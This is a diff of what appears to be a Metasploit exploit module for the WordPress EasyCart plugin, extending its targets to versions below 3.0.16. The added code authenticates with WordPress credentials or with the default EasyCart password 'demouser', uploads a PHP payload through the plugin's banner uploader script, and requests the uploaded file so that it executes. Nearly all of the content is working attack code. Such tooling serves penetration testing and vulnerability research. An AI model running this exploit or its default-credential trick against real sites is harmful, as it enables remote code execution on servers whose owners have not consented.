@@ -27,7 +27,15 @@ def initialize(info = {})
27
27
user-accessible path. Making a direct request to
28
28
the uploaded file will allow the attacker to
29
29
execute the script with the privileges of the web
30
- server.} ,
30
+ server.
31
+
32
+ In versions <= 3.0.8 authentication can be done by
33
+ using the WordPress credentials of a user with any
34
+ role. In later versions, a valid EasyCart admin
35
+ password will be required that is in use by any
36
+ admin user. A default installation of EasyCart will
37
+ setup a user called "demouser" with a preset password
38
+ of "demouser".} ,
31
39
'License' => MSF_LICENSE ,
32
40
'Author' =>
33
41
[
@@ -42,14 +50,16 @@ def initialize(info = {})
42
50
'DisclosureDate' => 'Jan 08 2015' ,
43
51
'Platform' => 'php' ,
44
52
'Arch' => ARCH_PHP ,
45
- 'Targets' => [ [ 'wp-easycart < 3.0.5 ' , { } ] ] ,
53
+ 'Targets' => [ [ 'wp-easycart < 3.0.16 ' , { } ] ] ,
46
54
'DefaultTarget' => 0
47
55
) )
48
56
49
57
register_options (
50
58
[
51
- OptString . new ( 'USERNAME' , [ true , 'The username to authenticate with' ] ) ,
52
- OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate with' ] )
59
+ OptString . new ( 'USERNAME' , [ false , 'The WordPress username to authenticate with (versions <= 3.0.8)' ] ) ,
60
+ OptString . new ( 'PASSWORD' , [ false , 'The WordPress password to authenticate with (versions <= 3.0.8)' ] ) ,
61
+ OptString . new ( 'EC_PASSWORD' , [ false , 'The EasyCart password to authenticate with (versions <= 3.0.15)' , 'demouser' ] ) ,
62
+ OptBool . new ( 'EC_PASSWORD_IS_HASH' , [ false , 'Indicates whether or not EC_PASSWORD is an MD5 hash' , false ] )
53
63
] , self . class )
54
64
end
55
65
@@ -61,30 +71,74 @@ def password
61
71
datastore [ 'PASSWORD' ]
62
72
end
63
73
74
+ def ec_password
75
+ datastore [ 'EC_PASSWORD' ]
76
+ end
77
+
78
+ def ec_password_is_hash
79
+ datastore [ 'EC_PASSWORD_IS_HASH' ]
80
+ end
81
+
82
+ def use_wordpress_authentication
83
+ username . to_s != '' && password . to_s != ''
84
+ end
85
+
86
+ def use_ec_authentication
87
+ ec_password . to_s != ''
88
+ end
89
+
90
+ def req_id
91
+ if ec_password_is_hash
92
+ return ec_password
93
+ else
94
+ return Digest ::MD5 . hexdigest ( ec_password )
95
+ end
96
+ end
97
+
64
98
def check
65
- check_plugin_version_from_readme ( 'wp-easycart' , '3.0.5 ' )
99
+ check_plugin_version_from_readme ( 'wp-easycart' , '3.0.16 ' )
66
100
end
67
101
68
- def generate_mime_message ( payload , date_hash , name )
102
+ def generate_mime_message ( payload , date_hash , name , include_req_id )
69
103
data = Rex ::MIME ::Message . new
70
104
data . add_part ( date_hash , nil , nil , 'form-data; name="datemd5"' )
71
105
data . add_part ( payload . encoded , 'application/x-php' , nil , "form-data; name=\" Filedata\" ; filename=\" #{ name } \" " )
106
+ data . add_part ( req_id , nil , nil , 'form-data; name="reqID"' ) if include_req_id
72
107
data
73
108
end
74
109
75
110
def exploit
76
- print_status ( "#{ peer } - Authenticating using #{ username } :#{ password } ..." )
77
- cookie = wordpress_login ( username , password )
78
- fail_with ( Failure ::NoAccess , 'Failed to authenticate with WordPress' ) if cookie . nil?
79
- print_good ( "#{ peer } - Authenticated with WordPress" )
111
+ if !use_wordpress_authentication && !use_ec_authentication
112
+ fail_with ( Failure ::BadConfig , 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value' )
113
+ end
114
+
115
+ vprint_status ( "#{ peer } - WordPress authentication attack is enabled" ) if use_wordpress_authentication
116
+ vprint_status ( "#{ peer } - EC authentication attack is enabled" ) if use_ec_authentication
117
+
118
+ if use_wordpress_authentication && use_ec_authentication
119
+ print_status ( "#{ peer } - Both EasyCart and WordPress credentials were supplied, attempting WordPress first..." )
120
+ end
121
+
122
+ if use_wordpress_authentication
123
+ print_status ( "#{ peer } - Authenticating using #{ username } :#{ password } ..." )
124
+ cookie = wordpress_login ( username , password )
125
+
126
+ if use_ec_authentication
127
+ print_warning ( "#{ peer } - Failed to authenticate with WordPress, attempting upload with EC password next..." ) if cookie . nil?
128
+ else
129
+ fail_with ( Failure ::NoAccess , 'Failed to authenticate with WordPress' ) if cookie . nil?
130
+ end
131
+
132
+ print_good ( "#{ peer } - Authenticated with WordPress" ) unless cookie . nil?
133
+ end
80
134
81
135
print_status ( "#{ peer } - Preparing payload..." )
82
136
payload_name = Rex ::Text . rand_text_alpha ( 10 )
83
137
date_hash = Digest ::MD5 . hexdigest ( Time . now . to_s )
84
138
plugin_url = normalize_uri ( wordpress_url_plugins , 'wp-easycart' )
85
139
uploader_url = normalize_uri ( plugin_url , 'inc' , 'amfphp' , 'administration' , 'banneruploaderscript.php' )
86
140
payload_url = normalize_uri ( plugin_url , 'products' , 'banners' , "#{ payload_name } _#{ date_hash } .php" )
87
- data = generate_mime_message ( payload , date_hash , "#{ payload_name } .php" )
141
+ data = generate_mime_message ( payload , date_hash , "#{ payload_name } .php" , use_ec_authentication )
88
142
89
143
print_status ( "#{ peer } - Uploading payload to #{ payload_url } " )
90
144
res = send_request_cgi (
@@ -97,15 +151,19 @@ def exploit
97
151
98
152
fail_with ( Failure ::Unreachable , 'No response from the target' ) if res . nil?
99
153
vprint_error ( "#{ peer } - Server responded with status code #{ res . code } " ) if res . code != 200
100
- print_good ( "#{ peer } - Uploaded the payload" )
101
154
102
155
print_status ( "#{ peer } - Executing the payload..." )
103
156
register_files_for_cleanup ( "#{ payload_name } _#{ date_hash } .php" )
104
- send_request_cgi (
157
+ res = send_request_cgi (
105
158
{
106
159
'uri' => payload_url ,
107
160
'method' => 'GET'
108
161
} , 5 )
109
- print_good ( "#{ peer } - Executed payload" )
162
+
163
+ if !res . nil? && res . code == 404
164
+ print_error ( "#{ peer } - Failed to upload the payload" )
165
+ else
166
+ print_good ( "#{ peer } - Executed payload" )
167
+ end
110
168
end
111
169
end
0 commit comments